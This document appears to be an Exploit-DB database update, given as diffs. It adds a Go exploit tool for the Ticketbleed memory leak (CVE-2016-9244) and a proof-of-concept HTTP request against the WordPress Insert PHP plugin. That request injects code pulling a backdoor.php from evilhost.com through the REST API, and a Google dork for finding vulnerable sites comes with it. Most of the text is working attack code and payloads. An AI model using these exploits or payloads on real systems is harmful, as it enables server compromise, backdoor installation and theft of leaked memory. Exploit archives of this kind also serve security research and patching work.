DB: 2017-02-12

1 new exploits

WordPress 4.7.0/4.7.1 Plugin Insert PHP - PHP Code Injection

files.csv

@@ -37227,3 +37227,4 @@ id,file,description,date,author,platform,type,port
 41306,platforms/php/webapps/41306.txt,"Video Subscription - SQL Injection",2017-02-10,"Ihsan Sencan",php,webapps,0
 41299,platforms/hardware/webapps/41299.html,"D-link DIR-600M - Cross-Site Request Forgery",2017-02-10,"Ajay S. Kulal",hardware,webapps,0
 41307,platforms/php/webapps/41307.txt,"HotelCMS with Booking Engine - SQL Injection",2017-02-10,"Ihsan Sencan",php,webapps,0
+41308,platforms/php/webapps/41308.txt,"WordPress 4.7.0/4.7.1 Plugin Insert PHP - PHP Code Injection",2017-02-09,CrashBandicot,php,webapps,0

platforms/hardware/remote/41298.txt

@@ -7,6 +7,112 @@
 # Tested on: [Multiple]
 # CVE : [CVE-2016-9244]
 
-POC:
+
+
+
+BUILD:
+	go get github.com/EgeBalci/Ticketbleed
+	go build Ticketbleed.go
+
+USAGE:
+	./ticketbleed <options> <ip:port>
+OPTIONS:
+	-o, --out 	Output filename for raw memory
+	-s, --size 	Size in bytes to read
+	-h, --help 	Print this message
+
+*/
+package main
+
+import "github.com/EgeBalci/Ticketbleed"
+import "strconv"
+import "strings"
+import "fmt"
+import "os"
+
+
+var OutputFile string = ""
+var BleedSize int = 0
+
+func main() {
+
+
+	ARGS := os.Args[1:]
+	if len(ARGS) < 1 || len(ARGS) > 5{
+		fmt.Println(Help)
+		os.Exit(1)
+	}
+
+  	for i := 0; i < len(ARGS); i++{
+
+		if ARGS[i] == "-h" || ARGS[i] == "--help"{
+			fmt.Println(Help)
+			os.Exit(1)
+	  	}
+
+		if ARGS[i] == "-o" || ARGS[i] == "--out"{
+			OutputFile = ARGS[i+1]
+	  	}
+
+	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
+	  		Size,err := strconv.Atoi(ARGS[i+1])
+	  		if err != nil {
+	  			fmt.Println("[-] ERROR: Invalid size value !")
+	  			os.Exit(1)
+	  		}
+	  		if Size < 0 {
+	  			fmt.Println("[-] ERROR: Size can't be smaller than 0")
+	  			os.Exit(1)
+	  		}else{
+	  			BleedSize = Size
+	  		}
+	  	}
+ 	}
+
+	if OutputFile != "" {
+		File, FileErr := os.Create(OutputFile)
+		if FileErr != nil {
+			fmt.Println("[-] ERROR: While creating output file !")
+			os.Exit(1)
+		}
+		File.Close()
+		fmt.Println("[*] Output file: "+OutputFile)
+	}
+
+ 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
+ 	fmt.Println(VulnStatus)
+ 	if strings.Contains(VulnStatus, "[+]") {
+ 		
+ 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
+ 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
+ 	}
+
+}
+
+
+
+var Help string = `
+▄▄▄█████▓ ██▓ ▄████▄   ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄ 
+▓  ██▒ ▓▒▓██▒▒██▀ ▀█   ██▄█▒ ▓█   ▀▓  ██▒ ▓▒▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
+▒ ▓██░ ▒░▒██▒▒▓█    ▄ ▓███▄░ ▒███  ▒ ▓██░ ▒░▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
+░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄░ ▓██▓ ░ ▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
+  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ 
+  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░   ░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒ 
+    â–‘     â–’ â–‘  â–‘  â–’   â–‘ â–‘â–’ â–’â–‘ â–‘ â–‘  â–‘   â–‘    â–’â–‘â–’   â–‘ â–‘ â–‘ â–’  â–‘ â–‘ â–‘  â–‘ â–‘ â–‘  â–‘ â–‘ â–’  â–’ 
+  â–‘       â–’ â–‘â–‘        â–‘ â–‘â–‘ â–‘    â–‘    â–‘       â–‘    â–‘   â–‘ â–‘      â–‘      â–‘    â–‘ â–‘  â–‘ 
+          â–‘  â–‘ â–‘      â–‘  â–‘      â–‘  â–‘         â–‘          â–‘  â–‘   â–‘  â–‘   â–‘  â–‘   â–‘    
+             â–‘                                    â–‘                        â–‘      
+
+Author: Ege Balci
+Github: github.com/EgeBalci
+
+
+USAGE: 
+	./ticketbleed <ip:port> <options> 
+OPTIONS:
+	-o, --out 	Output filename for raw memory
+	-s, --size 	Size in bytes to read
+	-h, --help 	Print this message
+`
 
 https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41298.zip

platforms/php/webapps/41308.txt

@@ -0,0 +1,24 @@
+# Exploit Title: WordPress 4.7.0/4.7.1 Plugin Insert PHP -  PHP Code Injection
+# Exploit Author: sucuri.net @sucurisecurity
+# Date: 2017-02-09
+# Google Dork : inurl:/wp-content/plugins/insert-php/
+# Vendor Homepage: https://fr.wordpress.org/plugins/insert-php/
+# Tested on: MSWin32
+# Version: <3.3.1
+
+# Explanation : You Can Inject PHP Code INTO Pages via Wordpress REST API Vulnerability 
+
+# PoC :
+POST http://localhost.com/wp-json/wp/v2/posts/1234 HTTP/1.1
+Host: localhost.com
+User-Agent: Xploit
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.8
+Accept-Encoding: gzip,deflate,lzma,sdch
+Connection: keep-alive
+content-type: application/json
+
+{  "id": "1234ffff", "title": "by Hacker", "content": "[insert_php] include('http[:]//evilhost.com/file/backdoor.php'); [/insert_php][php] include('http[:]//evilhost.com/file/backdoor.php'); [/php]" }
+
+
+# Reference : https://blog.sucuri.net/2017/02/rce-attempts-against-the-latest-wordpress-rest-api-vulnerability.html